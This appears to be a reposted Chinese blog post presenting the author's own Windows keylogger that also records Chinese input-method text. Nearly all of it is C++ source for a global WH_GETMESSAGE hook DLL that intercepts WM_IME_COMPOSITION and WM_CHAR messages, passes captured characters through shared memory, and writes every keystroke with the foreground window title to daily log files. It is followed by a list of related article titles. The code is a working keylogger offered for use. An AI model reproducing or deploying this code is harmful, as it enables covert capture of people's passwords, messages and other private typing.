键盘记录工具(支持中文)
来源:互联网 发布:罂粟种子淘宝上叫什么 编辑:程序博客网 时间:2024/05/16 19:43
看到网上有很多键盘记录工具,技痒,于是自己动手写了一个。
记录键盘,很显然需要使用钩子。如果只是记录所按下的按键,使用WH_KEYDOWN_LL即可,此钩子可以拦截所有按下键盘的动作(除极少数键外)。但是如果要记录通过输入法输入的中文字符,那么WH_KEYDOWN_LL是不够的,这里需要使用WH_GETMESSAGE钩子。这个钩子拦截所有从消息队列中取出的消息。而windows上所有的输入法基本上都是采用将输入字符翻译成汉字之后,通过PostMessage将汉字回发给应用程序。所以利用WH_GETMESSAGE钩子,在应用程序从消息队列中取出汉字消息之前对消息进行拦截,从而记录。
下面是HOOKDLL中的主要代码:
WH_GETMESSAGE全局钩子,其钩子回调函数必须写在DLL中,不能通过传递函数指针的方式,将回调函数体写在其他Model中。
这里采用内存文件映射的方法来达到数据共享。共享的数据包括记录线程的ID,中文字符。回调函数在拦截到中文字符消息时,将中文字符保存到共享内存中,然后通过PostThreadMessage通知记录线程。
WM_IME_COMPOSITION:当输入法将转换后的中文字符推送到应用程序时,应用程序会处理此消息。
BOOL CHookSystem::Start(int hookID){if(g_hook)Stop();if(!g_hook){HOOKPROC lpfn = NULL;if(hookID == WH_GETMESSAGE)lpfn = MessageProc;elselpfn = MessageProc;g_hook = ::SetWindowsHookEx(hookID, lpfn, CApplication::Hinst, 0); // 默认安装全局钩子,因为这是在dll中DWORD m = ::GetLastError();m_hookID = hookID;::PostMessage(NULL, WM_NULL, 0,0);return g_hook == NULL ? FALSE : TRUE;}elsereturn FALSE;}
BOOL CHookSystem::Stop(){if(g_hook && !::UnhookWindowsHookEx(g_hook))return FALSE;else{g_hook = NULL;m_hookID = 0;return TRUE;}}
LRESULT CALLBACK CHookSystem::MessageProc(int nCode, WPARAM wParam, LPARAM lParam){LRESULT lResult = ::CallNextHookEx(g_hook, nCode, wParam, lParam);if(nCode < 0)return lResult;HANDLE hThreadid = ::OpenFileMapping(FILE_MAP_WRITE, false, TEXT("ThreadID"));// 打开文件映射对象ThreadIDif(hThreadid){int * pThreadid = (int *)::MapViewOfFile(hThreadid, FILE_MAP_READ|FILE_MAP_WRITE, 0, 0, 0);if(pThreadid)KBthreadid = (*pThreadid);elsereturn lResult;UnmapViewOfFile(pThreadid); // 撤销此次映射}else{return lResult;}TCHAR * pCNString; PMSG pmsg = (PMSG)lParam; if (nCode == HC_ACTION) { switch (pmsg->message) { case WM_IME_COMPOSITION: {//::MessageBox(NULL,TEXT("WM_IME_COMPOSITION"),TEXT("no"),MB_OK); HIMC hIMC; HWND hWnd=pmsg->hwnd; DWORD dwSize; TCHAR ch; TCHAR lpstr[MAX_CN_STRING_LEN]; if(pmsg->lParam & GCS_RESULTSTR) {HANDLE hCNString = ::OpenFileMapping(FILE_MAP_WRITE,false, TEXT("CNString"));if(hCNString) pCNString = (TCHAR *)::MapViewOfFile(hCNString,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);elsereturn lResult;if(!pCNString)return lResult; //先获取当前正在输入的窗口的输入法句柄 hIMC = ImmGetContext(hWnd); if (!hIMC)return lResult; // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小. dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0); // 缓冲区大小要加上字符串的NULL结束符大小, // 考虑到UNICODE dwSize += sizeof(WCHAR); memset(lpstr, 0, MAX_CN_STRING_LEN); // 再调用一次.ImmGetCompositionString获取字符串 ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize); //现在lpstr里面即是输入的汉字了。你可以处理lpstr,当然也可以保存为文件... //MessageBox(NULL, lpstr, lpstr, MB_OK); _tcscpy(pCNString, lpstr); // 拷贝到共享内存中 ImmReleaseContext(hWnd, hIMC);UnmapViewOfFile(pCNString); // 撤销此次映射PostThreadMessage(KBthreadid,WM_KEYHOOK_CN_EN, wParam, lParam); } } break; case WM_CHAR: //截获发向焦点窗口的键盘消息 {PostThreadMessage(KBthreadid,WM_KEYHOOK_CN, pmsg->wParam, pmsg->lParam); } break; } } return(lResult);}
记录键盘信息是一个实时性比较高的任务,为了不影响前台界面,这里需要采用子线程的方式来进行记录。
在子线程处理函数中,通过PeekMessage来获取线程消息。在消息处理函数中,将输入的字符记录到文件中。
void CMainWnd::StartKeyMonitorThread(){::_beginthread(HookKeyBoardThread, 0, NULL);}
void CMainWnd::StopKeyMonitorThread(){::PostThreadMessage(ms_keyMonitorThreadID, WM_QUIT, 0, 0);::CloseHandle(hThreadid);::CloseHandle(hCNString);ms_keyMonitorThreadID = 0;hThreadid = NULL;hCNString = NULL; // 防止句柄被释放两次}
VOID CMainWnd::HookKeyBoardThread(LPVOID info){ms_keyMonitorThreadID = ::GetCurrentThreadId();int threadid = ms_keyMonitorThreadID;hThreadid=CreateFileMapping((HANDLE)0xffffffff,NULL,PAGE_READWRITE,0,sizeof(int), TEXT("ThreadID"));hCNString=CreateFileMapping((HANDLE)0xffffffff,NULL,PAGE_READWRITE,0,MAX_CN_STRING_LEN, TEXT("CNString"));if(hThreadid){int *pThreadid = (int *)MapViewOfFile(hThreadid,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);if(pThreadid) *pThreadid = threadid;else{CBaseWnd::MessageBox(TEXT("创建内存映射失败"));return;}UnmapViewOfFile(pThreadid); // 撤销此次映射}else{CBaseWnd::MessageBox(TEXT("创建内存映射失败"));return;}MSG msg;CString oldInputWndName;while(true){if(PeekMessage(&msg,NULL,WM_KEYHOOK_CN,WM_KEYHOOK_CN,PM_REMOVE)){//const DWORD tid = GetWindowThreadProcessId(GetForegroundWindow(),NULL);//AttachThreadInput(tid, GetCurrentThreadId(),TRUE);CBaseWnd * pWnd = CBaseWnd::FromHandle(GetForegroundWindow()/*::GetFocus()*/);CString curInputWndName;if(pWnd != NULL)curInputWndName = pWnd->GetWndName();//AttachThreadInput(tid, GetCurrentThreadId(),FALSE);CString fileName = (m_logPath + (CDateTime::Now().ToShortDate() + TEXT(".log")));CFileStreamC file(fileName);if(curInputWndName.GetLength() > 0 && curInputWndName != oldInputWndName){oldInputWndName = curInputWndName;file.Write(TEXT("\n[%s] "), curInputWndName.GetCStr());}TCHAR str[20] = {0};int len = MyGetKeyNameText(msg.wParam, str, sizeof(str)/sizeof(TCHAR));//获得控制键名字,可能是非控制键则返回为空if(len > 0)file.Write(TEXT("(%s)"), str);elsefile.Write(TEXT("%c"), msg.wParam);}if(PeekMessage(&msg,NULL,WM_KEYHOOK_CN_EN,WM_KEYHOOK_CN_EN,PM_REMOVE)){TCHAR *pCNString;HANDLE hCNString=OpenFileMapping(FILE_MAP_WRITE,false, TEXT("CNString"));if(hCNString)pCNString=(TCHAR *)MapViewOfFile(hCNString,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);elsecontinue;//const DWORD tid = GetWindowThreadProcessId(GetForegroundWindow(),NULL);//AttachThreadInput(tid, GetCurrentThreadId(),TRUE);CBaseWnd * pWnd = CBaseWnd::FromHandle(GetForegroundWindow()/*::GetFocus()*/);CString curInputWndName;if(pWnd != NULL)curInputWndName = pWnd->GetWndName();//AttachThreadInput(tid, GetCurrentThreadId(),FALSE);CString fileName = (m_logPath + (CDateTime::Now().ToShortDate() + TEXT(".log")));CFileStreamC file(fileName);if(curInputWndName.GetLength() > 0 && curInputWndName != oldInputWndName){oldInputWndName = curInputWndName;file.Write(TEXT("\n[%s] "), curInputWndName.GetCStr());}file.Write(TEXT("%s"), pCNString);memset(pCNString,0,MAX_CN_STRING_LEN);UnmapViewOfFile(pCNString); // 撤销此次映射}if(PeekMessage(&msg,NULL,WM_QUIT,WM_QUIT,PM_REMOVE)) {break;}Sleep(1);}return;}
实际效果截图:
这里在记录中文输入的同时,还记录的了当前所输入的窗口标题。
个别字符有乱码的情况,这是因为部分不可见字符没有进行屏蔽。
这个工具可以记录大部分中午输入,效率也还是很不错的,正常运行后,基本不会影响系统的正常使用。
- 键盘记录工具(支持中文)
- 键盘记录工具(支持中文)
- 键盘记录支持中文
- 键盘记录支持中文,3389(czy 原创)
- 多功能Python键盘记录工具:Radium
- 键盘记录
- 键盘记录
- 设置linux工具支持中文:
- 网络安全:gh0st支持win7,windows 2008屏幕和键盘记录(2)
- 打造支持中英文键盘记录(从原理解剖)
- 一个反键盘记录工具的分析
- 网络安全:gh0st支持win7,windows 2008屏幕和键盘记录
- Skype-Type:一款通过声音窃取键盘记录的Keylogger工具
- C++键盘记录函数详解(转)
- linux下查看CHM文件的工具,支持中文,图片
- ScriptCase快速Web定制工具目前已完美支持中文
- Symbian 中文支持(模拟器)
- Symbian 中文支持(模拟器)
- C# 通过服务启动窗体(把窗体添加到服务里)实现用户交互的windows服务
- SSH建立信任关系实现免输密码登陆
- 使用Core Location
- [测试优化] Unity 3D 阴影锯齿优化
- ClistCtrl,不能显示数据
- 键盘记录工具(支持中文)
- T-SQL中执行sql语句的两种写法
- php非常简单的文件上传,没有文件类型、大小限制
- Windows Sockets 2.0:使用完成端口高性能,可扩展性Winsock服务程序
- unsigned int的最大值(用十进制表示)
- Windows下mysql客户端访问Linux下mysql-cluster的SQL节点服务器
- MFC中的CMenu---如何动态添加菜单/菜单项、子菜单、右键菜单
- What the heck is bisectional bandwidth?
- Eclipse下GeoTools的配置